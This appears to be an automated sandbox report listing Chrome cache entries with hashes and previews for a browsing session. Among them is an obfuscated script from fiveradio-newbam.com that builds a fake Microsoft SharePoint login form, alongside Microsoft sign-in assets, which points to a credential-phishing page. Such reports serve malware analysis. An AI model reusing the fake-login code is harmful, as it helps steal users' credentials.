Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.180365114215879
Encrypted:	false
SSDEEP:	3:YGKhIWANmq6LFHYn:YGKhCNU4
MD5:	64E1C1EB9F4CAF0CF0E7484D7AFCEDB9
SHA1:	69E40D8C48A866A84046FD8BD17AF47FF02B79A4
SHA-256:	8ACAC48BC106C4EAE580C08071597F9DAFAB96D959DEFF65BEC44514DA907B1D
SHA-512:	F109767D57E85127D18B1AD2030A48C0EAD69F79A15C4008712407B1F62691654B74C9D6E225FFDC4A922847EABB928DC7520A656C7081B585124CF678B54E59
Malicious:	false
Preview:	{"code":1,"message":"Session ID unknown"}

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	4.214613323368661
Encrypted:	false
SSDEEP:	24:t4pb8W1baAcycV1i21AL5Xr/fJzWTtDYnpTyuwa+BDhMXeDFF6+/OKgXOgWKZsHz:zdyb2+jfJz+sFyN3BdMeFF52KgeTksHz
MD5:	F7AB697E65B83CE9870A4736085DEEEC
SHA1:	5FF40BFF26B523FBBEAA5228A2AAC63E44AFAA90
SHA-256:	CBB3706E65B35A43BDCFEBD23B5479DC0542CA7E23197869B683D12B524472FE
SHA-512:	158874143CE65485348813431BB585227772F315234E08158A329DF98319AA5F1DB21DEF2AD7CAA5C25AD11660E7D4E05158CFA1198913A33B1B91676C4CA402
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a2.55,2.55,0,0,1-.562.188,2.423,2.423,0,0,1-.3.07q-.141.023-.281.055V20.266q.422-.125.813-.281t.766-.344a8.253,8.253,0,0,0,1.344-.844h1.313m4.531,8.234h4.156v1.8H19.859v-.75a3.292,3.292,0,0,1,.25-1.344,4.183,4.183,0,0,1,.625-1.078,5.7,5.7,0,0,1,.844-.828q.219-.187.438-.352t.422-.32q.453-.312.766-.578a2.593,2.593,0,0,0,.3-.281l.25-.281a3.148,3.148,0,0,0,.328-.562,1.59,1.59,0,0,0,.109-.609,1.176,1.176,0,0,0-.359-.937,1.552,1.552,0,0,0-1.078-.328,3.625,3.625,0,0,0-2.422,1V19.688a4.866,4.866,0,0,1,1.359-.625,5.548,5.548,0,0,1,1.516-.2,4.456,4.456,0,0,1,1.344.188,2.461,2.461,0,0,1,1,.563,2.242,2.242,0,0,1,.625.875,3.007,3.007,0,0,1,.219,1.156,3.538,3.538,0,0,1-.055.641,3.7,3.7,0,0,1-.148.563,3.439,3.439,0,0,1-.562.953,7.2,7.2,0,0,1-.8.8q-.21

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.180365114215879
Encrypted:	false
SSDEEP:	3:YGKhIWANmq6LFHYn:YGKhCNU4
MD5:	64E1C1EB9F4CAF0CF0E7484D7AFCEDB9
SHA1:	69E40D8C48A866A84046FD8BD17AF47FF02B79A4
SHA-256:	8ACAC48BC106C4EAE580C08071597F9DAFAB96D959DEFF65BEC44514DA907B1D
SHA-512:	F109767D57E85127D18B1AD2030A48C0EAD69F79A15C4008712407B1F62691654B74C9D6E225FFDC4A922847EABB928DC7520A656C7081B585124CF678B54E59
Malicious:	false
Preview:	{"code":1,"message":"Session ID unknown"}

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	downloaded
Size (bytes):	23427
Entropy (8bit):	5.112735417225198
Encrypted:	false
SSDEEP:	384:1HHLO7eS0F4bBY/fn6jZcy9/cGK1q8CarY64Cb+dOy:1HHCLYXfl1q8CarY64Cb+dl
MD5:	BA0537E9574725096AF97C27D7E54F76
SHA1:	BD46B47D74D344F435B5805114559D45979762D5
SHA-256:	4A7611BC677873A0F87FE21727BC3A2A43F57A5DED3B10CE33A0F371A2E6030F
SHA-512:	FC43F1A6B95E1CE005A8EFCDB0D38DF8CC12189BEAC18099FD97C278D254D5DA4C24556BD06515D9D6CA495DDB630A052AEFC0BB73D6ED15DEBC0FB1E8E208E7
Malicious:	false
URL:	https://www.w3schools.com/w3css/4/w3.css
Preview:	./* W3.CSS 4.15 December 2020 by Jan Egil and Borge Refsnes /.html{box-sizing:border-box},:before,:after{box-sizing:inherit}./* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */.html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}.article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}.audio,canvas,progress,video{display:inline-block}progress{vertical-align:baseline}.audio:not([controls]){display:none;height:0}[hidden],template{display:none}.a{background-color:transparent}a:active,a:hover{outline-width:0}.abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}.b,strong{font-weight:bolder}dfn{font-style:italic}mark{background:#ff0;color:#000}.small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}.sub{bottom:-0.25em}sup{top:-0.5em}figure{margin:1em 40px}img{border-style:none}.code,kbd,p

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	139
Entropy (8bit):	4.717826995152233
Encrypted:	false
SSDEEP:	3:PouV7uJzhquHbtt6vYk2ZRMRJfHKERSAEtvxLrXZiLKY8K09AbBK6c4NGL:hxuJzhqIzyYk+qRU4zEdxXZiqsbBK34A
MD5:	DA7DA7D630292E7A2A7DDA8CA87B3D39
SHA1:	A4CB76424DC44433A2DF01FE8B0BBD836D15E970
SHA-256:	52C1E7A2C36BE28C42455FE1572D7D7918C3180CAD99A2B82DAA2A38A7E7BB23
SHA-512:	9E717F9C6699B280436CA9BE7107BA6301430D4DEF8311B963A266A5B3B91B2719687B04860509B6142FA24D629A3217BD450696559FE6D9DC8C60BCCFD740AD
Malicious:	false
URL:	https://fiveradio-newbam.com/
Preview:	<!DOCTYPE html>.<html lang="en">.<head>.<meta charset="utf-8">.<title>Error</title>.</head>.<body>.<pre>Cannot GET /</pre>.</body>.</html>.

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.180365114215879
Encrypted:	false
SSDEEP:	3:YGKhIWANmq6LFHYn:YGKhCNU4
MD5:	64E1C1EB9F4CAF0CF0E7484D7AFCEDB9
SHA1:	69E40D8C48A866A84046FD8BD17AF47FF02B79A4
SHA-256:	8ACAC48BC106C4EAE580C08071597F9DAFAB96D959DEFF65BEC44514DA907B1D
SHA-512:	F109767D57E85127D18B1AD2030A48C0EAD69F79A15C4008712407B1F62691654B74C9D6E225FFDC4A922847EABB928DC7520A656C7081B585124CF678B54E59
Malicious:	false
Preview:	{"code":1,"message":"Session ID unknown"}

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, Unicode text, UTF-8 text, with very long lines (65527), with no line terminators
Category:	downloaded
Size (bytes):	97840
Entropy (8bit):	4.4500703764063285
Encrypted:	false
SSDEEP:	1536:GwtA4NeS6e6+mitQT3TLJRb8J+apQ3jxNxqCVS:GwtA4NeS6e6+XE3TLJxxNIx
MD5:	C8A8D350644CE1043C7EB0B0B3D4BFC3
SHA1:	3981EED2963478BEABB73502E569D9A9A6DC2062
SHA-256:	77A7A30D1E853501B7B627D55DC6171EF38322485DCBEB3A3A886538191DB6CE
SHA-512:	A491C0D83CB999C800162E45F884A168CF25CF988C168BC6A1C3F284BD63FE09543430CFE5011DC69536CFA0EF6EED06756F7341F9B1F1165B6289707C486DCF
Malicious:	false
URL:	https://fiveradio-newbam.com/jsnom.js
Preview:	function _0x34d9() { const _0x47ef45 = ['\x0a\x0a\x20\x20\x20\x20 \x20Overlay\x20-->\x0a\x20\x20\x20\x20<div\x20class=\x22overlay\x22></div>\x0a\x0a\x20\x20\x20\x20<div\x20class=\x22canvas\x22\x20style=\x22display:\x20none;\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20 \x20<img\x20class=\x22imgclass\x22\x20src=\x22https://softwarereviews.s3.amazonaws.com/production/favicons/offerings/3117/original/Sharepoint_icon.png\x22\x20alt=\x22\x22\x20srcset=\x22\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22tittleText\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>Microsoft.\x20Sharepoint</div>\x20-->\x0a\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22logerMe\x22></p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22loader\x22>Loading...</div>\x0a\x20\x20\x20\x20</div>\x0a\x0a\x20\x20\x20\x20 \x20LOGIN\x20PAGE\x20START\x20\x20-->\x0a\x20\x20\x20\x20<div\x20class=\x22loginForm\x22>\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20 \x20EMAIL\x20-->\x0a\x20\x20\x20\x20\x20

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1636
Entropy (8bit):	4.214613323368661
Encrypted:	false
SSDEEP:	24:t4pb8W1baAcycV1i21AL5Xr/fJzWTtDYnpTyuwa+BDhMXeDFF6+/OKgXOgWKZsHz:zdyb2+jfJz+sFyN3BdMeFF52KgeTksHz
MD5:	F7AB697E65B83CE9870A4736085DEEEC
SHA1:	5FF40BFF26B523FBBEAA5228A2AAC63E44AFAA90
SHA-256:	CBB3706E65B35A43BDCFEBD23B5479DC0542CA7E23197869B683D12B524472FE
SHA-512:	158874143CE65485348813431BB585227772F315234E08158A329DF98319AA5F1DB21DEF2AD7CAA5C25AD11660E7D4E05158CFA1198913A33B1B91676C4CA402
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a2.55,2.55,0,0,1-.562.188,2.423,2.423,0,0,1-.3.07q-.141.023-.281.055V20.266q.422-.125.813-.281t.766-.344a8.253,8.253,0,0,0,1.344-.844h1.313m4.531,8.234h4.156v1.8H19.859v-.75a3.292,3.292,0,0,1,.25-1.344,4.183,4.183,0,0,1,.625-1.078,5.7,5.7,0,0,1,.844-.828q.219-.187.438-.352t.422-.32q.453-.312.766-.578a2.593,2.593,0,0,0,.3-.281l.25-.281a3.148,3.148,0,0,0,.328-.562,1.59,1.59,0,0,0,.109-.609,1.176,1.176,0,0,0-.359-.937,1.552,1.552,0,0,0-1.078-.328,3.625,3.625,0,0,0-2.422,1V19.688a4.866,4.866,0,0,1,1.359-.625,5.548,5.548,0,0,1,1.516-.2,4.456,4.456,0,0,1,1.344.188,2.461,2.461,0,0,1,1,.563,2.242,2.242,0,0,1,.625.875,3.007,3.007,0,0,1,.219,1.156,3.538,3.538,0,0,1-.055.641,3.7,3.7,0,0,1-.148.563,3.439,3.439,0,0,1-.562.953,7.2,7.2,0,0,1-.8.8q-.21

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
URL:	https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	150
Entropy (8bit):	4.817012895739808
Encrypted:	false
SSDEEP:	3:PouV7uJzhquHbtt6vYk2ZRMRJfHKERSAEtvxLrXZiLKY8KDETqLLMu9MK6c4NGL:hxuJzhqIzyYk+qRU4zEdxXZiqiLMcMKj
MD5:	84241342D84AC29592A5D9516F8EDF7F
SHA1:	03C53980E18E17625F439C20E7D438F066202428
SHA-256:	6E21162BC64073FE9E3D3D6375CA24D04FED1912A5B7716AAC0CB0F2D16FAE7C
SHA-512:	7509483335C7A30365F7F403098491AC0B44FFFCC68A5CDACB86EC191F02DBDA5B16A20A09E924B6A29AC938578D43BACB9A50115DB5C5668EA27FE1811BD530
Malicious:	false
URL:	https://fiveradio-newbam.com/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">.<head>.<meta charset="utf-8">.<title>Error</title>.</head>.<body>.<pre>Cannot GET /favicon.ico</pre>.</body>.</html>.

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.180365114215879
Encrypted:	false
SSDEEP:	3:YGKhIWANmq6LFHYn:YGKhCNU4
MD5:	64E1C1EB9F4CAF0CF0E7484D7AFCEDB9
SHA1:	69E40D8C48A866A84046FD8BD17AF47FF02B79A4
SHA-256:	8ACAC48BC106C4EAE580C08071597F9DAFAB96D959DEFF65BEC44514DA907B1D
SHA-512:	F109767D57E85127D18B1AD2030A48C0EAD69F79A15C4008712407B1F62691654B74C9D6E225FFDC4A922847EABB928DC7520A656C7081B585124CF678B54E59
Malicious:	false
Preview:	{"code":1,"message":"Session ID unknown"}

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.180365114215879
Encrypted:	false
SSDEEP:	3:YGKhIWANmq6LFHYn:YGKhCNU4
MD5:	64E1C1EB9F4CAF0CF0E7484D7AFCEDB9
SHA1:	69E40D8C48A866A84046FD8BD17AF47FF02B79A4
SHA-256:	8ACAC48BC106C4EAE580C08071597F9DAFAB96D959DEFF65BEC44514DA907B1D
SHA-512:	F109767D57E85127D18B1AD2030A48C0EAD69F79A15C4008712407B1F62691654B74C9D6E225FFDC4A922847EABB928DC7520A656C7081B585124CF678B54E59
Malicious:	false
Preview:	{"code":1,"message":"Session ID unknown"}

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	downloaded
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45667)
Category:	downloaded
Size (bytes):	45806
Entropy (8bit):	5.207605835316031
Encrypted:	false
SSDEEP:	384:1ZS0CCnasl8gRR/PoPez+iCMN0Fkiw2Jh4RWdRGhAjbp2ChPL8cYRGv5MRUK6np9:/CCnVl7tUkBxkdRGOfDiY5C5MAn5GY2
MD5:	80F5B8C6A9EEAC15DE93E5A112036A06
SHA1:	F7174635137D37581B11937FC90E9CB325077BCE
SHA-256:	0401DE33701F1CAD16ECF952899D23990B6437D0A5B7335524EDF6BDFB932542
SHA-512:	B976A5F02202439D94C6817D037C813FA1945C6BB93762284D97FF61718C5B833402F372562034663A467FDBAA46990DE24CB1E356392340E64D034E4BA1B4E4
Malicious:	false
URL:	https://cdn.socket.io/4.6.0/socket.io.min.js
Preview:	/!. Socket.IO v4.6.0. * (c) 2014-2023 Guillermo Rauch. * Released under the MIT License.. */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).io=e()}(this,(function(){"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(e)}function e(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function n(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}function r(t,e,r){return e&&n(t.prototype,e),r&&n(t,r),Object.defineProperty(t,"prototype",{writable:!1}),t}function i(){return i=Object.assign?Object.assign.bind():function(t){for(var e=

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	downloaded
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
